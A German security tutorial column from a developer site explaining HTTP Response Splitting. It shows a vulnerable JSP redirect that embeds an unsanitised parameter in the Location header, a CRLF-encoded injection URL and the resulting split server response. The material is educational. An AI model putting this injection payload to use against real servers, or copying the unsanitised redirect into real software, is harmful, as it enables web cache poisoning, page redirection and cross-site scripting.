Freitag, 29. August 2008

News

präsentiert von: entwickler.com
Donnerstag, 1. September 2005

About Security #21: HTTP Response Splitting, 1

Wie letzte Woche angekündigt, ist das Thema dieses Features das HTTP Response Splitting. Beim HTTP Response Splitting nutzt ein Angreifer eine Schwachstelle in einer Webanwendung aus, durch die unzulässige Benutzereingaben, insbesondere CR- und LF-Zeichen, nicht zurückgewiesen werden. Dadurch kann durch einen einzelnen HTTP-Request eine Antwort ausgelöst werden, die vom Angriffsziel als zwei HTTP-Responses interpretiert wird. Das Ziel kann zum Beispiel ein Cacheserver oder der Webbrowser eines Benutzers sein. Der Angreifer hat die vollständige Kontrolle über den Inhalt der zweiten HTTP-Response. Um den Angriff durchzuführen, sendet er zwei HTTP-Requests über das Angriffsziel an den Webserver. Der erste HTTP-Request verursacht die zwei HTTP-Responses, während der zweite eine beliebige Seite des Webservers aufruft. Das Angriffsziel ordnet die zweite, vom Angreifer kontrollierte HTTP-Response dem zweiten HTTP-Request zu. Mögliche Folgen sind zum Beispiel das Vergiften von Webcaches, das Umleiten von Webseiten mit vertraulichen Informationen und Cross Site Scripting.

Durchführung eines Angriffs
Um HTTP-Response-Splitting-Angriffe durchführen zu können, muss der Webserver vom Benutzer gelieferte Daten in HTTP-Response-Header einbetten. Dies passiert zum Beispiel, wenn Benutzerdaten in die Redirection-URL einer Redirection-Response (HTTP-Status-Code 3xx) oder den Cookie-Wert oder -Namen einer Response, die einen Cookie setzt, integriert werden.

Für das folgende Beispiel (nach [1, PDF]) soll /redir_lang.jsp folgenden Inhalt haben:


<%
     response.sendRedirect("/by_lang.jsp?lang="+
             request.getParameter("lang"));
%>

Beim Aufruf mit dem Parameter lang=Deutsch wird eine Umleitung zur Seite /by_lang.jsp?lang=Deutsch erzeugt. Eine typische HTTP-Response des Webservers BEA WebLogic 8.1 SP1 sieht folgendermaßen aus:


  1  HTTP/1.1 302 Moved Temporarily
  2  Date: Wed, 24 Dec 2003 12:53:28 GMT
  3  Location: http://10.1.1.1/by_lang.jsp?lang=Deutsch
  4  Server: WebLogic XMLX Module 8.1 SP1 ...
  5  Content-Type: text/html
  6  Set-Cookie: JSESSIONID=123456; path=/
  7  Connection: Close
  8
  9  <html><head><title>302 Moved Temporarily</title></head>
 10  <body bgcolor="#FFFFFF">
 11  <p>Die angeforderte Seite wurde verschoben.</p>
 12  <p>Sie befindet sich jetzt hier:
        <a href="http://10.1.1.1/by_lang.jsp?lang=Deutsch"
        >http://10.1.1.1/by_lang.jsp?lang=Deutsch</a>.</p>
 13  </body></html>   

Die Benutzereingabe Deutsch ist Bestandteil des Location-Headers. Um einen HTTP-Response-Splitting-Angriff durchzuführen, wird der Wert Deutsch durch einen Wert ersetzt, der URL-kodierte CRLF-Folgen verwendet, um die aktuelle HTTP-Response zu beenden und eine zusätzliche hinzuzufügen. Dies ergibt folgende URL:


   /redir_lang.jsp?lang=sinnlos%0d%0aContent-Length:
   %200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:
   %20text/html%0d%0aContentLength:%2023%0d%0a%0d%0a<html>Geschafft!</html>

Diese URL erzeugt folgende Antwort des Webservers:


  1  HTTP/1.1 302 Moved Temporarily
  2  Date: Wed, 24 Dec 2003 12:53:28 GMT
  3  Location: http://10.1.1.1/by_lang.jsp?lang=sinnlos
  4  Content-Length: 0
  5
  6  HTTP/1.1 200 OK
  7  Content-Type: text/html
  8  Content-Length: 23
  9
 10  <html>Geschafft!</html>  
 11  Server: WebLogic XMLX Module 8.1 SP1 ...
 12  Content-Type: text/html
 13  Set-Cookie: JSESSIONID=123456; path=/
 14  Connection: Close
 15
 16  <html><head><title>302 Moved Temporarily</title></head>
 17  <body bgcolor="#FFFFFF">
 18  <p>Die angeforderte Seite wurde verschoben.</p>
 19  <p>Sie befindet sich jetzt hier:
        <a href="http://10.1.1.1/by_lang.jsp?lang=sinnlos
 20  Content-Length: 0
 21
 22  HTTP/1.1 200 OK
 23  Content-Type: text/html
 24  Content-Length: 23
 25
 26  &lt;html&gt;Geschafft!&lt;/html&gt;"
        >http://10.1.1.1/by_lang.jsp?lang=sinnlos
 27  Content-Length: 0
 28
 29  HTTP/1.1 200 OK
 30  Content-Type: text/html
 31  Content-Length: 23
 32
 33  &lt;html&gt;Geschafft!&lt;/html&gt;</a>.</p>
 34  </body></html>   

Das Angriffsziel parst diese Antwort folgendermaßen:

  • Zuerst kommt eine HTTP-Response mit dem Code 302 (Redirection) (Zeile 1–4).
  • Als Zweites kommt eine HTTP-Response mit dem Code 200 (OK) und einer Content-Length von 23 Bytes (Zeile 6–10).
  • Danach kommen überflüssige Daten, die verworfen werden (alles nach dem Ende der zweiten HTTP-Response, Zeilen 11–35).

Schickt der Angreifer zwei Requests über das Ziel an den Webserver, zum einen die oben genannte URL, zum anderen zum Beispiel /index.html, ordnet das Ziel der ersten URL die HTTP-Response aus den Zeilen 1–4 und der zweiten URL die aus den Zeilen 6–10 zu.

Nächste Woche geht es um die praktischen Auswirkungen des HTTP Response Splitting und Einschränkungen des obigen, vereinfachten Beispiels.

Wenn Sie Fragen oder Themenvorschläge haben, können Sie diese gerne an die angegebene E-Mail-Adresse senden oder im Security-Forum einbringen.

Carsten Eilers




MARCIO schrieb am 27.10.2007, 22:59 Uhr
Qual e a nova senha e login do molden dlink ds/l500??? ajuden ae plix!!!!



MARCIO schrieb am 27.10.2007, 22:59 Uhr
Qual e a nova senha e login do molden dlink ds/l500??? ajuden ae plix!!!!



Ihre Meinung ist uns wichtig!
Mobile Computing Heute & Morgen!
Nehmen Sie an unserer Umfrage zum Thema Mobile Computing in Deutschland teil und nutzen Sie die Chance eine Casio Exilim EX-Z1050-Digitalkamera zu gewinnen!

Konferenzen

BASTA! 2008

BASTA! 2008

22.-26. September 2008
Rheingoldhalle, Mainz

SQLCON 2008

SQLCON 2008

22.-26. September 2008
Rheingoldhalle, Mainz

IPC 2008

IPC 2008

27.-31. Oktober 2008
Rheingoldhalle, Mainz

AJAX IN ACTION 2008

AJAX IN ACTION 2008

28.-31. Oktober 2008
Rheingoldhalle, Mainz

EKON 12

EKON 12

28.-31. Oktober 2008
Congress Centrum, Mainz

W-JAX 2008

W-JAX 2008

3.- 7. November 2008
ArabellaSheraton Hotel München

SOACON 2008

SOACON 2008

3.- 7. November 2008
Arabella Sheraton Hotel, München

JAX Asia 2008

JAX Asia 2008

25.-28. November 2008
Singapore, Kuala Lumpur, Jakarta

Werbung
Top-Jobs

Hueber Verlag GmbH & Co. KG

Webdesigner/ Webprogrammierer (m/w)

Gebit Solutions

Java Profis gesucht (m/w)

Software & Support Verlag GmbH

Volontär (w/m) Redaktion, Vollzeit

OLYMPUS EUROPA Holding GmbH

Web-Entwickler (m/w)

Magazine

Entwickler Magazin - Enterprise Technologies & Business Solutions

Entwickler Magazin

Enterprise Technologies & Business Solutions

dot.net magazin - die unabhängige Quelle für .NET-Technologien

dot.net magazin

Die Quelle für .NET-Technologien

Eclipse Magazin

Eclipse Magazin

Weltweit erstes Magazin für Eclipse-Entwickler

Java Magazin - Internet & Enterprise Technology

Java Magazin

Internet & Enterprise Technology

CREATE OR DIE - Ein Leben für die Kreativität

CREATE OR DIE

Ein Leben für die Kreativität

Business Technology - Management Magazin

Business Technology

Management Magazin

PHP Magazin - Professional PHP Development

PHP Magazin

Professional PHP Development

Bücher


hosted by HostEurope